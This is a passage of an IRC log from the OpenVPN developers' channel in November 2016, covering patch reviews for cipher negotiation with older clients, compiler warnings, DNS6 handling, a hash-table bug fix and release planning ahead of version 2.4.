Trac Project (at trac.edgewall.org) 04:09 <@syzzer> I made a little start on a Code Style page on the wiki: https://community.openvpn.net/openvpn/wiki/CodeStyle 04:09 <@vpnHelper> Title: CodeStyle – OpenVPN Community (at community.openvpn.net) 04:10 <@syzzer> I think it would be good to have a page we can point contributors at 04:10 <@syzzer> and for ourselves now, to flesh out the details of The Great Reformatting 04:29 <@cron2> right 04:32 <@vpnHelper> RSS Update - gitrepo: Document that tls-crypt also supports inline <https://github.com/OpenVPN/openvpn/commit/8025a62c63193d9a3c70033956342b86e01f01fc> 04:33 <@syzzer> the page is really just to get things going so please don 04:33 <@syzzer> hrmpf 04:33 <@syzzer> ... please do change and amend 09:03 <@plaisthos> oops 09:04 <@plaisthos> \-\-tls-auth needs a \ before -auth 09:10 <@syzzer> d'oh :') 09:12 <@plaisthos> openvpn//src/openvpn/console.c:57:6: error: conflicting types for 'query_user_add' 09:12 <@plaisthos> what did happens there?! 09:13 <@syzzer> uh, compiling for which platform? 09:14 <@plaisthos> arm64-v8a/android 09:14 <@plaisthos> but the declerations look identical 09:14 * plaisthos is puzzeld 09:15 <@syzzer> missing #include somehow? 09:16 <@plaisthos> yeah checking 09:22 <@plaisthos> including stdbool in console.h fixes that problem 09:23 <@plaisthos> I wonder if we still have a compat bool lying around somewhere 09:23 <@syzzer> kill it! 09:24 <@plaisthos> yeah 09:24 <@plaisthos> :) 09:31 <@plaisthos> lets see where it breaks ... 09:31 <@plaisthos> and the nfix the other warning that I now get 09:51 <@plaisthos> Obescure CLIENT_ONLY stuff :0 09:51 <@plaisthos> but my build is now warning free 09:51 <@plaisthos> (apart from res_init not being defined and that is missing in Android's headers) 09:54 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 09:57 * plaisthos is doing the cron2 method of getting commits :P 10:05 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 10:05 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 10:33 < slypknot> ValdikSS: I recall cron2 saying "you push thousands of routes to clients" is that correct ? 10:45 <@plaisthos> *sigh* 10:45 <@plaisthos> options.c super magic 10:46 <@plaisthos> tls-auth can be 2 args or inline 10:46 <@plaisthos> tls-crypt accepts tls-crypt foo.key 1 since inline file is actually two args :/ 10:46 <@plaisthos> should have spotted that 10:54 <@syzzer> plaisthos: hm, indeed. I should not accept the second argument if the first isn't INLINE_FILE_TAG (or something like that) 10:54 <@syzzer> found another bug in a patch of mine I think... 11:11 <@syzzer> yep, hash_remove() and hash_add() shouldn't have been merged in multi_process_float()... 11:11 <@syzzer> we now leak memory and maybe even dangling pointers (though I didn't manage to crash the server) 11:12 <@syzzer> need to prepare food first, but I'll send a patch soon 11:13 <@cron2> syzzer: uh, what? So what is happening? Is there an exit path in between (previous) hash_remove/hash_add? 11:13 <@syzzer> No, but mi->real is changed in between 11:14 <@syzzer> so we try to remove the *new* address from the table now, instead of the *old* 11:16 <@syzzer> but I don't thing we are left with dangling pointers, since we do not free/alloc, just update the struct. 11:16 <@syzzer> so we leave the table in an incorrect state 11:17 < ValdikSS> slypknot: that's right, it used to be 20000+ 11:47 < slypknot> ValdikSS: please see this: https://forums.openvpn.net/viewtopic.php?f=17&t=22827 11:47 <@vpnHelper> Title: Extremely long routing tables - OpenVPN Support Forum (at forums.openvpn.net) 11:47 < slypknot> how do you stop time outs ? 11:53 < slypknot> Not sure how many people it would effect but it seems like it would be a reasonable idea to spawn a process to add routes while the vpn connection is allowed to complete .. (wish list item ?) 11:53 < ValdikSS> slypknot: that guy is probably using my scripts. He need to increase keepalive interval on both server and client to the very high values (like 15 minutes) 11:53 < ValdikSS> slypknot: right now I made a DNS server which adds DNAT translation to the real IP from a fake IP range, and push only one huge (/22) route to the client 11:54 < slypknot> he says: "Right now I have to set connection timeout settings to incredible values (6 hours)" .. but that sounds like a stupid approach to me .. 12:58 <@cron2> syzzer: that explanation makes sense :-) - patch upcoming? 13:05 <@cron2> patch found 13:09 <@vpnHelper> RSS Update - gitrepo: multi_process_float: revert part of c14c4a9e <https://github.com/OpenVPN/openvpn/commit/c593885997e32a683f718138f7b9273d720c63e3> 13:15 <@vpnHelper> RSS Update - gitrepo: Fix various compiler warnings <https://github.com/OpenVPN/openvpn/commit/3212d0c0a5caac6607b30effb584887eb3325942> || Remove compat-stdbool.h. <https://github.com/OpenVPN/openvpn/commit/35be7e0d556a6b76e30f1e7348319e9dedf829aa> || Fix warning that RAND_bytes is undeclared <https://github.com/OpenVPN/openvpn/commit/6ede22c4f58c7d32967299d6a71cda93c88dd656> 13:21 <@cron2> so. anything else? 13:31 < ValdikSS> cron2: need to kick -windows guys a bit to review import patch 13:31 < ValdikSS> cron2: I really want to see it in release 14:17 <@cron2> plaisthos: meh 14:17 <@cron2> make[3]: *** No rule to make target `compat-stdbool.h', needed by `distdir'. 16:47 <@plaisthos> cron2: arghs :( 21:25 <@vpnHelper> RSS Update - tickets: #772: GUI looks blurred on high-dpi displays <https://community.openvpn.net/openvpn/ticket/772> --- Day changed Sun Nov 20 2016 05:16 <@syzzer> There we go! 'NCP' with a 2.3 client without any changes to the 2.3 code, or scripting required 05:17 <@syzzer> server just extracts the 'cipher <something>' from the options string, and uses that if that is one of the ciphers in the ncp-ciphers list 05:18 <@syzzer> so a 2.3 client talking to a 2.4 server with '--ncp-ciphers AES-256-GCM:AES-256-CBC' can just set '--cipher AES-256-CBC' and will magically work 07:08 <@plaisthos> syzzer: nice 07:08 <@plaisthos> syzzer: but that is not yet in master, right? 07:21 <@syzzer> no, it's not. Not even on the list. Need to clean up the patch first. 07:32 <@cron2> syzzer: whow :) 07:38 <@vpnHelper> RSS Update - gitrepo: Remove remaining traces of compat-stdbool.h <https://github.com/OpenVPN/openvpn/commit/e5fc56a77ee08d10974ab7a245ceb94e13761a1b> 08:22 <+krzee> badass syzzer! 08:29 <@plaisthos> syzzer: then we can revert Gert's patch :P 08:29 <@syzzer> That was not ACK'ed yet 08:29 <@syzzer> because I wanted to look at alternatives 08:33 <@syzzer> just trigger my jenkins builds first to check whether I broke something obvious. if not, patch will be on the list very soon :) 08:33 <@plaisthos> :) 08:46 <@syzzer> arr, forget to remove unused parameter... 08:46 <@syzzer> v2 upcoming 08:53 <@cron2> syzzer: so this utilizes OCC? 08:54 <@syzzer> well, the options string, yes. I think OCC is the 'check logic'. 08:55 <@plaisthos> syzzer: options_string_len is also in v2 08:56 <@cron2> so if I understand this right, the option string is *always* sent as part of the user/pass/peer-info block? 08:56 <@syzzer> plaisthos: wut? grr 08:56 <@cron2> what does --disable-occ do? "turn sending off" or "just do not care about the result"? 08:57 <@syzzer> yes, it is a mandatory part of 'key-method 2' format 08:57 <@syzzer> it disables the verification 08:57 <@cron2> much more elegant than UV_CIPHER :) 08:58 <@syzzer> also bigger patch ;) 08:58 <@syzzer> but I think its acceptable 08:59 <@cron2> there's one detail that you might want to consider whether it is intentional 08:59 <@cron2> if the server is started with --ncp-disable, I think your patch will make it do poor man's NCP anyway 09:00 <@cron2> (my variant had the "leave ncp_enabled alone" bit, never explicitly *set* it to true) 09:03 <@syzzer> cron2: very good point 09:03 <@syzzer> thinking about it, I should be able to that here too 09:04 <@syzzer> let's see 09:04 <@cron2> yeah, just move the bits around a bit - my gut says "if we disable it, it should be disabled for real NCP and poor man's NCP"... 09:04 <@cron2> but I'm open for arguments :) 09:04 <@cron2> (and NOW I have to do family for a bit... back at ~7ish) 09:15 <@syzzer> my gut agrees with yours - this was a plain omission 09:52 <@cron2> :) 09:55 <@syzzer> though fixing this nicely needs some extra refactoring, so the patch is growing... 10:44 < slypknot> I just successfully pushed 65,024 routes :D 10:46 < slypknot> but i did it via 'push "setenv-safe RouteNo=192.168.x.x" 10:51 < slypknot> The connection took 2m24s from initial tls TO sequence complete 10:52 < slypknot> (Over LAN 100mbit) 10:52 <@cron2> "why"? 10:53 < slypknot> this one made me curious if I can find a limit: https://forums.openvpn.net/viewtopic.php?f=17&t=22827 10:53 <@vpnHelper> Title: Extremely long routing tables - OpenVPN Support Forum (at forums.openvpn.net) 10:54 < Thermi> Was wire speed the critical component? 10:54 < slypknot> no .. i just made it clear this was over a LAN .. not a internet connection 10:55 < Thermi> Okay. So I guess it's execution time of the binary that is called by openvpn? 10:55 < slypknot> Thermi: do you mean regarding the post or my experiment ? 10:55 < Thermi> slypknot: Generally with having a ton of routes. 10:56 < slypknot> ok 10:57 < slypknot> In this scenario I wanted to find the fastest way to push route "data" and the do the "route add" on the client outside of openvpn so the client connection does not keep timing out while the client adds the routes 11:00 < slypknot> I just added 192.168.x.x/32 for 0.1 to 254.254 (not really worried about the actual routes .. just see if it was possible) 11:16 <@syzzer> cron2: v3 on the list. Patch is a little bigger, but still quite manageable :) 11:21 <@plaisthos> onst char *options_string,const char *opt_name, 11:21 <@plaisthos> :p 11:21 <@plaisthos> formatting error 11:21 <@syzzer> hrmpf :/ 11:22 <@syzzer> well, I hope that the one applying the patch can fix that... 11:22 <@plaisthos> will look onto the patch later 11:22 <@syzzer> thanks :) 11:22 <@syzzer> I'm afk now, probably no or just very little time for openvpn until Tuesday night 11:23 <@plaisthos> And I need to look into DNS6 for Android 11:23 <@syzzer> day job and social obligations are taking precedence ;) 11:28 <@plaisthos> :) 12:02 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 12:02 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:02 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:09 <@cron2> we're in pre-release phase... no day jobs, no family, no sport, no sleep, NO EXCUSES! 12:09 <@cron2> (I'm going to make allowances for "go fetch coffee", but barely so!) 12:19 <@cron2> syzzer: I'm not sure if I understand the loop in options_string_extract_option() - would it ever match if "cipher" is not the very first thing? p will not be == strstr(p, opt_name) (so you won't look) and when you pass by next time, you already missed 13:35 <@syzzer> cron2: p = strchr (p, ','); moves p to the next option 13:36 <@cron2> still 13:36 <@cron2> what if you have "foo 123,bar 456,cipher fnord" 13:37 <@cron2> after the first round, p points to "bar", but "strstr(p,"cipher") will point to "cipher", so if (p == strstr(p, ...) will be false 13:37 <@cron2> but then p will point to "cipher", and after that round, p will point to "behind cipher" 13:38 <@cron2> ah 13:38 <@cron2> no 13:38 <@cron2> this is not an assignment 13:38 <@syzzer> hm, so when p opints to cipher, we go into the if() and break out when we're done] 13:39 <@syzzer> ah, now I get your confusion! 13:39 <@syzzer> p == vs p = 13:39 <@cron2> I still find this a funny way to use strstr() to actually work on "option by option"... 13:40 <@cron2> so if "cipher foo" is the last thing in a long chain, you search x times for "cipher", and ignore the result every time because "it's not the option right before me" 13:40 <@cron2> it will actually do the right thing but in a complicated way 13:40 <@syzzer> hm, you're right, a stncmp would make more sense 13:40 <@cron2> can I have an "if ( strncmp( p, opt_name, opt_name_len) == 0 ) there? 13:41 <@syzzer> yes 13:41 <@cron2> :) 13:41 <@syzzer> I'll wait for further comments first though 13:41 <@cron2> strstr() sounds tempting, but it would have to match on ",cipher" to avoid being distracted by "foo-cipher bar" 13:41 <@cron2> ok, more comments coming, but I got stuck in this code block :) 13:46 <@cron2> I'm not sure I understand the split of tls_session_update_crypto_params() and tls_session_generate_data_channel_keys() yet 13:46 <@cron2> who is calling tls_session_generate_data_channel_keys() in this scenario, and when? 13:46 <@cron2> (poor man's NCP) 13:47 <@syzzer> key_method_2_write() 13:47 <@syzzer> so basically 'what is was before NCP' 13:47 <@cron2> oh, there 13:47 <@syzzer> this is because we don't want to set ncp_enabled = true 13:48 <@syzzer> but the split actually helps with cleaning op those two places 13:48 <@cron2> so that is actually "do the thing it always did, but make it clear that it *is* the same thing" 13:48 <@syzzer> indeed 13:51 <@cron2> oh wow 13:51 * cron2 tries to understand key_method_2_read() vs. key_method_2_write() 13:52 <@syzzer> hehe, this will take you a few days :p 13:52 <@cron2> "just accept the change" would be the easy way forward ("it's the same code which gets replaced by tls_session_generate_data_channel_keys()") but "which side of the handshake calls which thing under which circumstances" 13:52 <@cron2> whee 13:53 <@syzzer> if is guarded by ifs that match what the new wrapped usees 13:53 <@syzzer> so it should be doable to just verify that 'is does what it used to' 13:53 <@cron2> right 13:54 <@cron2> not tonight... $wife is waiting... I said (20 minutes ago) "I'll be down in 5 minutes" 13:54 <@syzzer> good night then :) 13:54 <@cron2> but from a cursory glance, no more nag points - but will need to look at this after being applied with "difftool" 13:55 <@syzzer> conflicts? 15:07 <@cron2> no conflicts, but "too complex code to understand by just reading the diff" 16:20 <@plaisthos> damn forgot to mention that the android dns6 patch depends on the windows dns6 which depends on the dns6 patch 18:23 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds] 18:26 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 18:26 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Nov 21 2016 02:14 <@cron2> WHY IS MY OPENVPN BROKEN? 02:14 <@cron2> 2016-11-21 08:51:48 WARNING: Your certificate has expired! 02:14 <@cron2> this why! 02:15 * cron2 thanks syzzer for adding this, though it won't help that much with users copy-pasting errors without actually *reading* them... 02:20 <@syzzer> cron2: at least you can now shout back 'READ TEH LOGS!' ;) 02:25 <@cron2> syzzer: I copied back that line and said "this why" :) 02:25 <@syzzer> cron2: btw, I woke up this night at 5am thinking 'did I guard that poor-mans NCP only works server-to-client?' (I might need to wind down a bit after 2.4 is released...) 02:26 <@syzzer> haven't checked yet - $dayjob needs my attention first 02:28 <@cron2> syzzer: welcome... I had a weird dream about trying to explain openvpn data channel key creation to someone 03:48 <@syzzer> dazo: I think Ilya is just proposing a 'permalink' 03:48 <@syzzer> that sounds very useful to me 03:49 <@cron2> right 03:49 <@cron2> mattock: yours :) 03:51 <@cron2> meeting *wednesday* (day after tomorrow). just as a reminder 03:51 <@mattock> yes 03:53 <@dazo> syzzer: yeah ... permalink on the latest installer, is fine ... that's easily resolved with soft-link ... I just understood it differently, as there were talks about URL rewrites 03:53 <@dazo> syzzer: btw ... love your coding style wiki page! 04:34 <@dazo> this is an interesting quirk .... http://stackoverflow.com/questions/9229601/what-is-in-c-code 04:34 <@vpnHelper> Title: linux - What is ":-!!" in C code? - Stack Overflow (at stackoverflow.com) 04:35 <@dazo> (we probably don't need to think about this ... luckily enough!) 04:39 <@syzzer> dazo: https://github.com/OpenVPN/openvpn/blob/master/src/openvpn/error.h#L227 04:39 <@vpnHelper> Title: openvpn/error.h at master · OpenVPN/openvpn · GitHub (at github.com) 04:39 <@dazo> w00t! :) 04:40 * dazo is fascinated :) 04:40 <@syzzer> slightly different, but uses the same bitfield trick 04:40 <@dazo> yeah 04:40 <@dazo> ahh, you introduced it quite recently :) 04:40 <@syzzer> yes, this is why I recall it so well :) 04:40 <@dazo> :) 04:41 <@syzzer> Gert wanted (some form of) a static assert, so I added one 04:42 <@syzzer> (too bas we're not writing C11, than we would always have _Static_assert() 04:42 <@dazo> :) 04:42 <@cron2> we can change to C11 in January, and then spend 2017 fixing issues across platforms :-) 04:42 <@dazo> :) 04:44 <@syzzer> cron2: no, well just drop support for all platform that don't fully support C11. 04:45 <@dazo> hihi 04:49 <@cron2> dazo: is there an RHEL release with C11 support yet? 04:50 <@cron2> (since the BSDs are all moving to clang, it's not an issue in this camp) 04:51 <@dazo> cron2: https://gcc.gnu.org/wiki/C11Status .... I'll have to double check RHEL6, but I believe that ships a gcc with C11 support too 04:53 <@dazo> RHEL6 does not have C11 support 05:06 <@dazo> clang-3.4.2 seems to be available though (via EPEL repos) 05:09 < sagatak> is there some page i can check about what's expectd to make it into 2.4? 05:09 <@dazo> sagatak: https://github.com/OpenVPN/openvpn/blob/master/Changes.rst 05:10 <@vpnHelper> Title: openvpn/Changes.rst at master · OpenVPN/openvpn · GitHub (at github.com) 05:10 < sagatak> dazo++ thank you sir 05:24 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2016-11-23 05:24 <@vpnHelper> Title: Topics-2016-11-23 – OpenVPN Community (at community.openvpn.net) 05:29 <@mattock> fyi: I informed OSTIF.org that they can apply for the Mozilla grant now that 2.4.0 is "almost there" 05:29 <@dazo> great! 05:29 <@mattock> we can probably manage to push out 2.4.0 before anything concrete happens (if we get the grant) 05:30 <@mattock> so basically 2.4.x would get a security audit by a company chosen by the Mozilla Foundation 05:59 <@dazo> plaisthos: Got a chance to review this patch? https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg13158.html 05:59 <@vpnHelper> Title: [Openvpn-devel] Preparing 2.4-beta1 upload to Debian (Experimental) (at www.mail-archive.com) 06:50 <@ecrist> dazo: the factoids DB was identical for a while, but we changed it at some point. I don't recall the reasoning 07:26 <@vpnHelper> RSS Update - tickets: #773: Drop support for EOL OpenSSL versions <https://community.openvpn.net/openvpn/ticket/773> 08:34 <@mattock> it seems I managed to put some movement to dazo on GitHub :D 08:35 <@dazo> heh ... yeah, when old threads which were flagged suddenly appears high up on my list again :-P 10:29 <@vpnHelper> RSS Update - gitrepo: Do not set ipv6 address if '--ip-win32 manual' is used <https://github.com/OpenVPN/openvpn/commit/d6ad8cac443f7f7540da595a3dbe7082d0f0a0cf> 10:49 <@cron2> syzzer: so is poor man's DNS safe wrt client<->server roles? If yes, can I haz a v4 please? ;-) 11:51 <@vpnHelper> RSS Update - gitrepo: Stub implementation of "--dhcp-option DNS6 " <https://github.com/OpenVPN/openvpn/commit/94bfc256d4e96e6e91fa5a518352d758c09800f3> 12:01 <@cron2> slypknot: you should try to avoid changing openvpn tunnels on your VMs while buildbot is active testing - it messes up the pre/post ifconfig/route check, so the fails today are "outside our control" 12:01 <@cron2> (a tunc12666 appeared while the test was running, so of course the "ifconfig after openvpn is done" looks different) 12:35 < slypknot> cron2: sorry was testing w10 install for mattock 12:44 <@cron2> why's that affecting linux VMs? 12:44 <@cron2> ah, using these as client tests toward the win10 server, ic 12:47 < slypknot> I do try to keep an eye on buildbot process but today mattock's need was greater IAnd i forgot 12:49 * cron2 understands - freebsd74 quite often fails because different tests interfere... just pointing thius out 15:39 <@cron2> argh... linux... 15:40 <@cron2> [ 8.169600] cdc_ether 1-1.3:2.0 enp0s19u1u3c2: renamed from usb0 15:40 <@cron2> this is a *built in* LTE modem... 16:06 <@dazo> cron2: but on _that_ laptop, the LTE modem will always be named enp0s19u1u3c2 .... if you have another USB modem plugged in during boot, which modem would get usb0 would be fairly unpredictable 16:07 <@dazo> (or any other device using capturing the usb0 device name) 16:10 <@cron2> dazo: yeah, but it could have been just "eno4" or something less painful... 16:10 <@cron2> (and I'm not sure how stable *that* name is - it seems to encode lots of not-really-real bus topology into the device name) 16:11 <@cron2> it's not even plugged into an USB port... it's a mini-pcie module, which happens to use USB internally 16:11 <@cron2> but that's a distraction, the fact that there are at least 3 different APIs to talk to LTE devices is much more annoying right now... 16:19 <@dazo> https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/7/html/Networking_Guide/sec-Understanding_the_Predictable_Network_Interface_Device_Names.html 16:19 <@vpnHelper> Title: 8.3. Understanding the Predictable Network Interface Device Names (at access.redhat.com) 16:26 < sagatak> dazo: was the term "predictable" meant as a very sadistic joke? 16:26 * sagatak ducks 16:33 <@dazo> sagatak: nope :) If you've ever tried to look at how device enumeration happens, across drivers and motherboards ... you will soon see that it is fairly random. And in particular USB which often don't reuse numbers, so plug in, out and in again and you can end up with two different device names (many distros have mechanisms to reduce that risk though, by using udev rules created on-the-fly to "save" the device name for later re-use) 16:34 <@dazo> sagatak: so it used to be a sadistic joke .... now it's only sadistic device names ;-) 16:35 <@dazo> (table 8.1 in that URL above explains the different schemes for networking devices fairly well) 16:45 < sagatak> dazo: that's why i said i'm ducking, i know the story, but as you said, when you first see the names you want to consider sepuku :) --- Day changed Tue Nov 22 2016 01:36 <@mattock> https://ostif.org/ostif-is-beginning-a-fundraiser-for-openvpn-lets-get-it-audited/ 04:34 <@syzzer> cron2: yes, I hope to send a v4 tonight 05:35 <@plaisthos> cron2, dazo: just ack the dns6 patches 05:35 <@plaisthos> I looked into a mixed list and I don't want to fix that right now 05:36 <@plaisthos> I will just prefer IPv6 dns in case there is one there 05:50 <@cron2> plaisthos: ok. I'll take both - these are not perfect, but better than "nothing" 05:51 <@plaisthos> yeah 05:51 <@plaisthos> I pushed a v2 of my android patch that actually prefers v6 06:09 <@dazo> syzzer: seen this? https://wiki.openssl.org/index.php/1.1_API_Changes#Adding_forward-compatible_code_to_older_versions 06:09 <@vpnHelper> Title: 1.1 API Changes - OpenSSLWiki (at wiki.openssl.org) 06:09 <@dazo> (OpenSSL 1.1 "backward compatibility approach" 10:45 <@vpnHelper> RSS Update - gitrepo: Handle DNS6 option on Android <https://github.com/OpenVPN/openvpn/commit/39b7d4da02c40e76640c4da96ef7da7a6354cc00> || Handle --dhcp-option DNS6 on Windows using netsh <https://github.com/OpenVPN/openvpn/commit/786e06ade9f5dfad8ac360499187fa8e536d15cb> 11:25 <@syzzer> dazo: no, I didn't. Will check it out for sure. 13:33 <@syzzer> aargh. "Why is my test server negotiating AES-128-GCM while I start it with --ncp-ciphers AES-256-GCM :/" ... 5 min debugging later ... "Oh, there is a ccd config containing "ncp-cipher AES-128-GCM for this test client..." 13:34 * syzzer trolled himself 13:38 <+krzee> lol 13:38 <+krzee> nice 13:55 <@cron2> syzzer: lol 13:56 <@syzzer> cron2: so, s/strstr/strncmp/ and checking the server-to-client/client-to-server thing, right? 13:56 <@cron2> yep, I've not seen anything else and nobody else commented 13:57 <@syzzer> I checked the latter and that actually works fine both ways, which might even be useful 13:57 <@syzzer> i.e. 2.4 client can then connect to either a 2.3 server with AES-256-CBC or BF-CBC in its config 13:57 <@cron2> so a 2.4 client talking to a 2.3 server configured with "cipher ... 13:57 <@cron2> right 13:58 <@cron2> cool :-) 13:58 <@cron2> how is that logged? 13:58 <@syzzer> Tue Nov 22 20:30:26 2016 us=84324 Using peer cipher 'AES-256-CBC' 13:59 <@cron2> sounds reasonable and quite clear :) 14:03 <@syzzer> patch on the list :) 14:09 * cron2 is still at a customer site... hrmph 14:49 <@syzzer> there, some patches for beta2 :) 14:49 * syzzer going afk again 14:49 * cron2 noticed 14:51 <@cron2> what will happen if the client sets "cipher BF-CBC"? Server will check "is in my NCP list -> no!" and just silently ignore that (so: ciphers have to match, as before)? 14:53 * cron2 could nitpick a bit about v4... strictly speaking the "strlen(p)" check is totally redundant AND makes this O(n^2). But then, it's called once per client on a very short string :-) 15:02 <@cron2> uh 15:02 <@cron2> i *should* have actually applied and compiled v3... 15:02 <@cron2> syzzer: what do you have in your branch that master has not? 15:04 <@cron2> v4 does not compile for me - the hunk in key_method_2_read() accesses "c", which just does not exist in that function 15:05 <@dazo> sounds like it's based upon my "refactor to provide struct context *c to key__method_2_read()" patch ... which syzzer didn't really like that much 15:08 <@cron2> that's why 15:13 <@dazo> Is the strlen(p) truly redundant? ... p is "the same" as options_string being split up, based on the comma delimiter ... p *could* be longer than opt_name (f.ex. --auth-user-pass vs --auth-user-pass-verify). Of course the next check avoids some of the ambiguity here (p[opt_name_len] == ' ') ... but I see both those checks complementing each other in a defensive way. Now if we need to be that defensive, that is a completely different issue 15:14 <@cron2> dazo: in combination with the next check the strlen() check is redundant 15:15 <@cron2> we know that if the strncmp() succeeds, strlen(p) is opt_name_len *or* longer 15:15 <@cron2> so if it is exactly opt_name_len, p[opt_name_len] is safe to access (because it's the trailing '\0'), and that check will not succeed 15:16 <@cron2> but readability gains from having the strlen() part, so that was just a side track 15:17 <@cron2> ignore me :) 15:20 <@cron2> mmh, the call to tls_limit_reneg_bytes() got interestingly whitespace-damaged when being moved 15:39 <@dazo> cron2: http://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg12847.html (1477918318-18561-2-git-send-email-davids@openvpn.net) ... just in case you care enough :) 15:39 <@vpnHelper> Title: [Openvpn-devel] [PATCH 1/2] Refactor to provide struct context object inside key_method_2_read() (at www.mail-archive.com) 15:40 <@cron2> not right now 15:40 <@cron2> applying, testing and ACKing the other three patches (so please do not push right now) 15:40 <@dazo> now, if both NCP and the AUTH_FAILED improvement needs struct context .... this patch could be seen from a slightly different perspective 15:41 <@dazo> (I acknowledge it is intrusive though) 15:41 * cron2 was happy to leave that particular discussion to you and syzzer... this module is not something where I really know my way around 15:41 <@dazo> :) 15:42 <@cron2> and I have sooo many other lines of code to wreck :-) 15:42 <@syzzer> hrmpf, dazo's patch in my tree indeed :/ 15:42 <@cron2> the dynamics of dhcp-option DNS6 were amazing 15:42 <@dazo> :) 15:43 <@dazo> I started looking at the DNS6 stuff ... and thought you would have a better background to review it properly :) 15:43 <@cron2> "it will only break windows -> check!" 15:43 <@cron2> :) 15:43 <@dazo> heh :) 15:44 <@cron2> the Android one falls into that category, to some extent - the patch will not introduce security or memory issues, but whether or not it will crash plaisthos's GUI side is something I can not test with reasonable effort (=building my own apk), so "it looks sane and is #ifdef TARGET_ANDROID" has to suffice 15:45 <@dazo> yeah 15:53 <@vpnHelper> RSS Update - gitrepo: generate_key_expansion: make assumption explicit, use C99 features <https://github.com/OpenVPN/openvpn/commit/48d41413c4b181e00769cdb83ccfe179299ad8e4> || Change cmocka remote to use https in stead of git protocol <https://github.com/OpenVPN/openvpn/commit/da941141f34935f2c362b262a83de3cd722b65d6> || --tls-crypt fixes <https://github.com/OpenVPN/openvpn/commit/418d2d98489dfe7afafcaf21828541d034afb7f4> 16:12 <@cron2> bed! now! 16:13 <@syzzer> good night :) 16:15 <@dazo> this is a weird project .... IP over QR codes: http://hackaday.com/2016/11/22/ip-over-qr-codes/ 16:15 <@vpnHelper> Title: IP Over QR Codes | Hackaday (at hackaday.com) 20:59 <@ecrist> slypknot: ping --- Log closed Tue Nov 22 21:27:34 2016 --- Log opened Wed Nov 23 08:33:28 2016 08:33 -!- Irssi: #openvpn-devel: Total of 26 nicks [7 ops, 0 halfops, 1 voices, 18 normal] 08:33 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 08:33 -!- Irssi: Join to #openvpn-devel was synced in 6 secs 11:02 <@syzzer> looks like I now have an even cleaner version of the poor-mans NCP patch :) 11:02 <@syzzer> need to test it some more before sending to the list, but first some food 11:11 <@cron2> cool 11:37 < slypknot> ecrist: pong pm ? 11:47 < slypknot> I wonder if it would be possible to have the build master message (email or this channel) when a build has been started ? 11:49 < slypknot> of course it /is/ possible .. but why .. 12:00 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:00 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 12:00 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 12:00 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:00 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 12:46 <@cron2> *grumble* 12:47 <@cron2> I'm not sure my patch is good - I think it will (now) leak incoming TCP->accept() sockets 12:48 <@dazo> syzzer: you around? ... wondering if I've spotted a potential bug in the mbedTLS MD code .... 12:52 <@syzzer> dazo: yep 12:57 <@dazo> syzzer: mbedtls_md_get_size() is declared to return 'unsigned char' .... but the struct mbedtls_md_info_t size element is 'int' .... that looks odd, or? 12:58 <@dazo> library/md.c and include/md_internal.h is where these things are declared 12:58 * dazo is doing some mbedtls 1.x to 2.x porting for OpenVPN 3 12:59 <@syzzer> yes, this is strange 13:00 <@syzzer> never fails, because all mbedtls_md_info_t have values <= 128 for the size, but still weird 13:00 <@dazo> Right, that's what I was wondering ... if it could be situations where it could return values > 255 13:01 <@cron2> why would anyone sane use something that is not either an "int" or "long" (under the hood) to transport, well, an integer... 13:01 <@dazo> Okay, I've found a few other issues as well which are more obvious .... so I'll send some patches to Paul & the gang :) 13:02 <@dazo> cron2: if the file header info is correct, we should ask Adriaan about that! :-P 13:03 <@cron2> lol 13:05 <@syzzer> hehe 13:12 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: IRC for Sailfish 0.9] 13:23 <@cron2> vpnhelper is lazy 13:24 <@vpnHelper> RSS Update - gitrepo: Document the --auth-token option <https://github.com/OpenVPN/openvpn/commit/f8a367f7c51af5482013fa3d783cade376b047ed> 13:26 <@dazo> :) 13:45 <@plaisthos> cron2: and double set of close on exec in manage.c 13:46 <@cron2> oh. Well. That is not pretty, but will not break anything. *fixed* :) 14:00 <@plaisthos> Wed Nov 23 20:53:44 2016 WARNING: Your certificate has expired! 14:01 <@plaisthos> Not Before: Nov 23 19:27:01 2016 GMT 14:01 <@plaisthos> Not After : Nov 23 19:27:01 2018 GMT 14:01 <@plaisthos> I am confused 14:01 <@cron2> sounds more like "not yet valid" 14:01 <@cron2> (and a small time skew between issueing CA and using device) 14:02 <@cron2> mmh, no. doesn't make sense. weird. 14:02 <@dazo> could it be tz related? 14:02 <@cron2> since the WARNING line has no tz, it could be anything related to GMT... 14:03 <@plaisthos> hm no 14:03 <@plaisthos> cert.pem lying next to config 14:03 <@plaisthos> but cert still embedded 14:04 <@plaisthos> how to confuse yourself 14:04 <@cron2> haha :) 14:05 <@cron2> as a side note, we moved the meeting to Wednesday (now!) and it's in #openvpn-meeting... 14:30 <@cron2> syzzer: answering your last comment from #meeting -> yes, a cipher mismatch would have failed anyway, so maybe it works with poorman, but if not, nothing *new* broken 14:30 <@syzzer> yeah, exactly 14:31 <@syzzer> if we ever move to a next protocol, we need to make more stuff explicit (or just support less variants...) 14:31 <@cron2> well... we do, with the IV_ stuff. Maybe we should just change the protocol in a nasty way and break all old clients :) 14:51 <@syzzer> cron2: still fighting that, because we don't have access to the right variables in key_method_2_write() :( 14:52 <@dazo> syzzer: well, we have my refactoring patch .... maybe it isn't such a bad idea after all? :-P 14:53 <@syzzer> yeah, I'm wondering if I shouldn't have been so stubborn more and more, but I still believe we should reduce the entanglement, 